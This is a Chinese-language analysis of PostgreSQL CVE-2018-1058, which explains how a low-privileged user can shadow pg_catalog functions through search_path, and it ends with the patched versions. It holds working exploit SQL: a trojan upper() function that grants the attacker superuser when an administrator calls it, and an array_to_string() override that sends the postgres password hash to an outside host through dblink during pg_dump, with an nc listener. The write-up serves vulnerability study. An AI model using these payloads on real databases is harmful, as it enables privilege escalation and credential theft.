PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】

首发于： PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】

漏洞描述

A flaw was found in the way Postgresql allowed a user to modify the behavior of a query for other users. An attacker with a user account could use this flaw to execute code with the permissions of superuser in the database. Versions 9.3 through 10 are affected.

漏洞影响版本：https://www.securityfocus.com/bid/103221

基本环境搭建

PostgreSQL(win平台)下载地址： PostgreSQL-9.6.7

$ psql -U postgres
postgres=# CREATE DATABASE evil;
postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta;
GRANT

基本环境如下：

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超级用户：postgres
普通用户：chybeta
数据库： evil

漏洞分析/利用

基本场景

先看一些基本场景。普通用户chybeta登陆：

1	$ psql -U chybeta -d evil

通过SELECT SESSION_USER;获知当前的会话用户：

我们在public模式中创建一张表以及对应的字段:

1 2	evil=> SELECT 1

紧接着进行查询:

1	evil=> SELECT * FROM test;

接着我们新创建一个模式（schema），其模式名即为chybeta，也即当前的SESSION_USER：

1	evil=> CREATE schema chybeta;

然后在chybeta模式中创建对应的表以及字段:

1	evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;

然后我们执行跟上次相同的查询语句:

1	evil=> SELECT * FROM test;

为什么两次查询出现了不同的结果呢？这个涉及到PostgreSQL的search_path。PostgreSQL 7.3后引入了schema的概念，称之为模式或者架构，允许用户在独立的命名空间中创建不同的对象（比如table，function）。在默认情况下，比如刚刚创建的一个数据库，都会有默认的一个public模式，在不做其他操作或者设定的情况下，诸如查询等操作都是在这个public中进行查询。

比如说:

1	SELECT * FROM test;

也即等价于:

1	SELECT * FROM public.test;

由于采用了独立的命名空间，因此在用户进行查询时，倘若涉及到对相同名字但在不同schema中的对象操作时，必然需要考虑一定的顺序。在PostgreSQL 9.6.7的官方文档中，search_path (string)说明了相关场景中的相应匹配动作，截取部分如下:

When there are objects of identical names in different schemas, the one found first in the search path is used.
If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)
The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.

即：

首先适配原则，第一个找到的object被使用
名为$user的schema由SESSION_USER决定
如果pg_catalog不在path中则会最先查找它，如果在path中则按照指定顺序查找

第1、2点即如前面所示，但PostgreSQL在对第3点的实现上出现了Design Error(securityfocus的分类)，造成了代码执行漏洞。

利用方式

在Postgres的commit记录中，有如下commit:

As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo.  Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.

上面的commit提到了两类的client applications。下文的较为直观的利用方式一是针对第二类client applications（比如psql），然后利用方式二是通过第一类client applications来执行任意代码，相比较下更为隐蔽。

利用方式一

在系统schemapg_catalog中，定义了大量的函数，用pgAdmin3查看:

以函数abs系列为例，接受一个类型为bigint\smallint\intger\real\double precision\numeric的参数，返回其绝对值。倘若我们传送一个非数值类型的参数呢，比如text，

1	evil=> select abs('chybeta');

由于并没有参数类型为text的abs函数，会直接报错：

但postgres提供了自定义函数的功能！我们创建如下函数：

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CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

当我们再次执行同样的查询语句，根据postgres的设计流程，它会先去查找系统schemapg_catalog，但由于参数类型不同没有找到，接着按照search_path中的顺序查找，而我们定义的abs(text)存在于schemapublic中，参数符合，因此pg理所当然地执行了我们定义的函数:

注意一个点，这个函数是定义在schemapublic中的，也就是说对于进入到这个数据库的任何用户，只要他们调用了abs，且参数为text，都有可能会诱发恶意的代码执行。比如以超级用户postgres执行:

不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢？因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schemapg_catalog中的另外一类函数比如lower(text)，upper(text)，它们分别将text类型的参数转成小写和大写，不过系统没有提供接受varchar参数的lower和upper，尽管可以进行类型转换，但对pg而言，最好的选择当然是参数类型恰好符合的恶意自定义函数。

创建一个表，值的类型为varchar：

1	CREATE TABLE public.hahahaha AS SELECT 'CHYBETA'::varchar AS contents;

创建对应的恶意函数:

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CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

对绝大部分用户而言，他们可能看大写的CHYBETA不爽，然后执行了lower函数，但在不知道/清楚类型的情况下，他们执行的是public中的恶意自定义函数。

只能打印you are hacked by XXX有毛用！！由于恶意自定义函数可以被超级用户调用到，因此也就有了相应的执行权限，最简单的比如提权。

先来看看权限情况（以超级用户为例），可以看到只有postgres的rolsuper是t，即true:

在用户chybeta登陆进evil数据库后，他创建了如下upper函数:

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE chybeta SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

注意这里是VOLATILE，具体原因参考官方文档:xfunc-volatility

另外一张table，小写的chybeta:

1	CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;

管理员一看，心中不爽：小写小写就知道小写，然后:

看上去一切正常，大写的大写。回到用户chybeta处，查看一下权限:

已经成为超级用户。

利用方法有很多，理论上只要能创建恶意函数，管理员调用，就是以管理员身份去执行恶意sql语句/代码。在这种情况中，如commit所说Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.，被攻击用户是知道自己执行的sql语句，只是其中的某个function意义被掉包了。

利用方式二

安装完PostgreSQL后还会有一系列的工具，比如pg_dump、pg_dumpall等等。基于利用方式一，在创建了恶意函数的基础之上，可以通过这些工具来执行恶意函数。这些工具在执行过程中会动态设定search_path，导致public的优先级比pg_catalog高，也就是说即使是在相同类型相同参数相同函数名的情况下，会选择public中的函数。相比第一种而言隐蔽性更强，同时有更高的可触发性。

为利用pg_dump中的sql语句，可以利用log来观察执行过程。在superuser的权限下show log_directory;找到log目录，将目录下postgresql.conf中的约莫455行改为log_statement = all。重启PostgreSQL后，使用pg_dump工具执行备份命令:

1	pg_dump -U postgres -f evil.bak evil

同时观察log输出，查找statement: SET search_path =，最后在某处我发现了一段这样的log:

可以看到在这段log中，有一处的array_to_string是没有指定schema的。在系统schema中它的定义如下：

在这里由于已经设定了search_path，为了能直接适配，这里创建的恶意函数的参数个数和类型都必须和pg_catalog中定义的相同，倘若不同则会按顺序匹配到正确的函数。

因为pg_dump在运行过程中开启的是read only transaction，根据官方文档：

The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.

是不允许执行下类操作的:

INSERT, UPDATE, DELETE, COPY FROM
all CREATE, ALTER, and DROP commands
COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed

不过并没有禁止select语句。如果开启了dblink，则可以利用查询来带出数据，比如用dblink_connect。因此我们创建这样的一个恶意函数：

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

远程vps上监听：

1	nc -lvv 12345

当管理员进行数据库备份时：

1	pg_dump -U postgres -f evil.bak evil

即可得到管理员密码：

漏洞修补

以下版本修复了该漏洞

PostgreSQL PostgreSQL 9.6.8 
PostgreSQL PostgreSQL 9.5.12 
PostgreSQL PostgreSQL 9.4.17 
PostgreSQL PostgreSQL 9.3.22